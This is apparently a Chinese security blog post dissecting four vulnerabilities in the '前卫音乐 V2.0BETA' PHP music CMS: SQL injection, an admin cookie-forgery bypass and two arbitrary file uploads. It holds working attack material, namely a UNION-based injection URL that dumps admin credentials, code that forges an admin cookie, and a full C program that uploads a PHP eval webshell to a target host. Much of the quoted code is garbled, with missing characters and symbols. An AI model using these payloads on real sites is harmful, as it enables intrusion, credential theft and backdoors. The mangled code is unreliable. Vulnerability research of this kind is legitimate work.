探索黑客技术攻防,实战研究与安全创新

导航菜单

前卫音乐多漏洞分析

最近在阅读“前卫音乐V2.0BETA(20130709)版”代码的过程中,发现了多个漏洞,在此与大家分享。

/home/libs/common.php注入漏洞

在/home目录里有index.php文件,此文件无任何功能,只是包含了/home/libs/common.php,下面是存在问题的代码。


?php
include_once(CSDJ_PATH./conn.php);
ob_start();
//允许动作
$dos=array(down,index,dance,gd,gx,pick,reco,feed,pic,gbook,skin,blog);
//获取变量
$usym=$_SERVER[HTTP_HOST];
$uall=explode(.,$usym);
$p=CSRequest(op);
$uid=CS_Request(uid);
$id=CS_Request(id);
//问题参数
$pages=CS_Request(pages);
if(empty($uid))$uid=$uall[0];
$op=(!empty($op)in_array($op,$dos))?$op:index;
if(empty($uid))exit(抱歉,会员UID为空,参数错误!);
f($op==skin){
if(isset($_COOKIE[cd_name])){
$uid=$_COOKIE[cd_id];
}else{
eit(scriptwindow.location=http://.*******./i/login.php/script);
}
}
global$db;
$row=$db-getrow(Select*from.tname(user).wherecd_id=.$uid.);//代入查询
?
代码中,$uid经过了CS_Request的处理,如果CS_Request没有过滤好,那么$uid就有
可能被带入下面的SQL语句进入查询,下面看下CS_Request的实现。
functionCS_Request($pi_strName,$pi_Def=,$pi_iType=CS_TXT)
{
if(isset($_GET[$pi_strName]))
$t_Val=trim($_GET[$pi_strName]);
elseif(isset($_POST[$pi_strName]))
$_Val=trim($_POST[$pi_strName]);
lse
return$pi_Def;
//这里是数字型参数的过滤
if(CS_INT==$pi_iType)
{
if(is_numeric($t_Val))
return$t_Val;
else
return$pi_Def;
}
//String
$t_Val=str_replace(,,$t_Val);
$t_Val=str_replace(,,$t_Val);
$t_Val=str_replace(,,$t_Val);
if(get_magic_quotes_gpc())
{
$t_Val=str_replace(\\\,,$t_Val);
$t_Val=str_replace(\\,,$t_Val);
}
else
{
$t_Val=str_replace(\,,$t_Val);
$t_Val=str_replace(,,$t_Val);
}
return$t_Val;
}


可以看到,CS_Request对数字型的过滤好了,对于字符型的参数,CS_Request过滤了、、、、’。

$uid是数字型的参数,本来应该过滤好的,但是代码中对CS_Request的调用方式不对,正确的应该为$uid=CS_Request(uid,0,CS_INT),作者的调 用方式为$uid=CS_Request(uid),等同于$uid作字符串的过滤。

对于字符串,CS_Request过滤了单、双引号,本来也应该安全的,但是SQL查询语句$row=$db-getrow(Select*from.tname (user).wherecd_id=.$uid.)却没有将$uid用单引号包含起来,安全语句应为$row=$db-getrow(Select*from.tname(user).wherecd_id=’.$uid.’ )。

提及如下的SQL注入语句即可,结果如图1所示。

http://127.0.0.1/*******=1op=23and1=2unionselect1,2,3,concat (CD_AdminUserName,0x3c,0x3c,CD_AdminPassWord),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41,42,43,44,45,46frommusicdj_adminimit0,1

C1.png

/admin/admin_check.php权限绕过漏洞

上面的漏洞只是注入,还要破解MD5,这个漏洞则可以直接添加管理员。进入/admin目录,随便打开一个文件,都会调用函数admincheck(7),看名 字就知道,是用于检查权限的。Admincheck的实现在/admin/admin_ceck.php里。


functiondmincheck($CD_Permission){if($_COOKIE[CD_Permission]){
$menarr=explode(,,$_COOKIE[CD_Permission]);
$adminlogined=False;
for($i=0;$icount($menuarr);$i++){
if($meuarr[$i]==$CD_Permission){$adminlogined=True;}}
if($dminlogined==False){AdminAlert(出错了,您没有进入本页面的权限!,,2);}
}else{
AdminAlert(出错了,您没有进入本页面的权限!,,2);}}
if(empty($_COOKIE[CD_AdminID])){
AdminAlert(您没有进入本页面的权限,本次操作已被记录!,admin_login.php,0);
}elseif($_COOKIE[CD_Login]!=md5($_COOKIE[CD_AdminID].$_COOKIE[CD_AdminUserNa
me].$_COOKIE[CD_AdminPassWord].$_COOKIE[CD_Permission])){
AdmnAlert(您没有进入本页面的权限,本次操作已被记录!,admin_login.php,0);
}
这段代码只做两个检查:
1、$_COIE[CD_Permision]中某一项要跟传入的参数相匹配
2、$_COE[CD_Login]==
md5($_COOKIE[CD_AdminID].$_COOKIE[CD_AdminUserName].$_COOKIE[CD_AdminPassWord].$_COOKIE[CD_Permission])
以上两条都满足,就是管理员了,同时程序未对$_COOKIE做任何保护措施,能进后台就可以加管理,就可以上传。伪造利用firefox的tamperdata就行

了。
用于生成Cookie的代码如下:
?php
$CD_Pemission=1,2,3,4,5,6,7,8,9,10,11;$CD_AdminID=1;$CD_AdminUserName=ywledoc;$CD_AdminPassWord=123;
$CD_Login=md5($CD_AdminID.$CD_AdminUserName.$CD_AdminPassWord.$CD_Permission);
echo
CD_Perission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;CD_
AdminUserName=ywledoc;CD_AdminPassWord=123;CD_Login=.$CD_Login.br;
?
最终生成的Cookie如下:
CD_Permission=1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11;CD_AdminID=1;
CD_AdminUserName=ywledoc;CD_AdminPassord=123;CD_Login=5317e16c7b3f5b2b283d4818
32e5b309
替换后,访问/adin/ain_min.php


C2.png

/admin/amin_mld.php任意文件上传漏洞(需GPCOFF)

利用上面那个漏洞,添加了一个管理员,登陆后开始这一步。我们先看看漏洞代码:


FunctionSave(){
$CD_Name=$_POST[FileName];
$CD_Path=$_POST[folder];
$CD_TempName=$_POST[tempname];
$D_Content=stripslashes($_POST[content]);
$_Ext=substr(strrchr($CD_Name,.),1);
$FileType=strtolower($F_Ext);
if($FileType==htmor$FileType==htmlor$FileType==shtmlor$FileType==jsor
$FileType==cssor$FileType==txt){
f(!$fp=fopen($CD_Path.$CD_Name,w)){
AdinAlert(出错了,文件.$CD_Path.$CD_Name.没有写入权限!
,?action=templisttempname=.$CD_TempName.dir=.$CD_Path.,1);
}
$ifile=newiFile($CD_Path.$CD_Name,w);
$file-WriteFile($CD_Content,3);
AdmnAlert(恭喜您,编辑模板文件成功!
,?action=templisttempname=.$CD_TempName.dir=.$CD_Path.,0);
}else{
AdminAlert(出错了,操作已被禁止!
,?action=templisttempname=.$CD_TempName.dir=.$CD_Path.,1);
}
}


源码中if($FileType==htor$FileType==htmlor$FileType==shtmlor$FileType==jsor

$FileType==cssor$FileType==txt)会验证保存文件的后缀名,但是路径却是拼接出来的$CD_Path.$CD_Name,而且$CD_Path没有做任何验证,可以 直接传入%00进行截断,但%00是会被GPC转义,并且大多数网站都会打开GPC,所以这个漏洞有些鸡肋。

利用方法为访问

/admin/admin_mold.php?action=templistmpname=%C4%AC%C8%CF%C4%A3%B0%E6dir=../skin/index/9ku/,随便找一个模板进行编辑,写入一句话 木马,如图3所示。点击提交,并用tamperdata进行拦截,修改数据包如图4所示,得到的结果如图5所示。

C3.png

C4.png

C5.png

/admin/inc/uplos.php任意文件上传漏洞(需register_globals为ON)

这套程序管理员用于上传的流程为

/admin/inc/upload.php-/admin/inc/upload/upladify.swf-/adin/inc/uplods.php,最终实现写文件是在最后一步。我们来 看/admin/inc/uploads.php的实现。


iclude../../include/conn.php;
$d=SafeRequest(id,get);
$action=SafeRequest(ac,get);
sitch($action){
camusic:
$targetFiles=../../upload/musicurl/.$id...fileext($_FILES[Filedata][name]);
$fileexts=*.mp3;*.wma;
$filetypes=歌曲文件;
break;
casemusicpic:
$targetFiles=../../upload/musicpic/.$id...fileext($_FILES[Filedata][name]);
$fileexts=*.jpg;*.gif;
$filetypes=歌曲图片;
break;
casespecial:
$targetFiles=../../upload/special/.$id...fileext($_FILES[Filedata][name]);
$fileexts=*.jpg;*.gif;
$filetypes=专辑图片;
break;
}
f(!empty($_FILES)){
$tempFile=$_FILES[Filedata][tmp_name];
$targetFile=$targetFiles;
//$targetPath=$_SERVER[DOCUMENT_ROOT].$_REQUEST[folder]./;
//$targetFile=str_replace(//,/,$targetPath).$_FILES[Filedata][name];
$fileTypes
=str_replace(*.,,$fileexts);
$fileTypes
=sr_replace(;,|,$fileTypes);
$typesArray=split(\|,$fileTypes);
=patinfo($_FILES[Filedata][name]);
if(in_array($fileParts[extension],$typesArray)){
$fileParts
//Uncommentthefolowinglineifyouwanttomakethedirectoryifitdoesnt
exist
//mkdir(str_rplace(//,/,$targetPath),0755,true);
//setookie(targetFile,$targetFile,time()+86400,/);
moe_uploaded_file($tempFile,$targetFile);


$fileexts用于确定允许上传的类型,$targetPath确定上传的路径,而这两者都取决于$action。如果输入一个不合理的$action值,那么 $targetPath、$fileexts都会变成未定义,在register_globals为ON的情况下,就可以通过$_POST直接给$targetPath、$fileexts赋值了。

有时也可以在register_globals为Off的情况下实现,但有一个条件,就是需要以下代码:

foreach(array(_COOKIE,_PST,_GET)as$_request){foreach($$_requestas$_key=

$_value){$_key{0}!=_$$_ky=daddslashes($_value);}}

这也是经典的全局变量覆盖漏洞代码。这里没有这段代码,只能依赖register_globals为on,同样register_globals一般都是off,所以这个漏洞 也有点鸡肋。练手,写了一段CPOST提交文件的代码,如下:


#includestdio.h
#includeWinSock2.h
#includeWindows.h
#pragmacomment(lib,ws2_32)
inmain(intargc,char*argv[])
{
PVOID
SOCKET
int
pBuff=NULL;
hSock=INVALID_SOCKET;
iResult=0;
WADATAwsaData={0};
clientServer={0};
*pclientAddr={0};
sockaddr_in
hostent
iResult=WSAStartup(MAKEWORD(2,2),wsaData);
if(iResult!=0)
return0;
do
{
f(argc!=3)break;
pBuff=VirtualAlloc(NULL,0x200,MEM_COMMIT,PAGE_READWRITE);
if(pBuff==NULL)
break;
sprintf((PCHAR)pBuff,POST/%s/admin/inc/uploads.phpHTTP/1.1\r\n
Host:%s\r\n
User-Agent:Mozilla/5.0\r\n
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Aept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n
Accept-Encoding:gzip,deflate\r\n
Conection:keep-alive\r\n
Content-Type:multipart/form-data;boundary=---------------------------
1681160893454\r\n
Content-Length:539\r\n\r\n
-----------------------------1681160893454\r\n
Contnt-Disposition:form-data;name=\targetFiles\\r\n
\r\n
../../upload/special/ywledoc.php\r\n
-----------------------------1681160893454\r\n
Contnt-Disposition:form-data;name=\fileexts\\r\n
\r\n
*.php\r\n
-----------------------------1681160893454\r\n
Content-Disposition:form-data;name=\Filedata\;
filename=\yijuma.php\\r\n
Content-Type:application/octet-stream\r\n
\r\n
?phpeval($_POST[paxmac])?\r\n
-----------------------------1681160893454\r\n
Content-Disposition:form-data;name=\submit\\r\n
\r\n
Submit\r\n
-----------------------------1681160893454--\r\n\r\n,argv[2],argv[1]);
hSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(hSock==INVALID_SOCKET)
break;
clintServer.sin_family=AF_INET;
clientServer.sin_port=htons(80);
pclientAddr=gethostbyname(argv[1]);
if(pclientAddr==NULL)
{
printf(网址解析错误,请检查输入!\n);
break;
}
clintServer.sin_addr.s_addr=*((ULONG*)(pclientAddr-h_addr_list[0]));
if(connect(hSock,(sockaddr*)clientServer,sizeof(sockaddr_in))!=0)
{
prntf(到服务器的连接被拒绝!\n);
break;
}
send(hSock,(PCHAR)pBuff,strlen((PCHAR)pBuff),0);
printf(执行完成,请查看
URL:%s%s/upload/special/ywledoc.php\n,argv[1],argv[2]);
closecket(hSock);
}while(FALSE);
WSACleanup();
return0;
}


这段代码执行后会在/upload/special/目录下生成ywledoc.php一,。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

(完)

相关推荐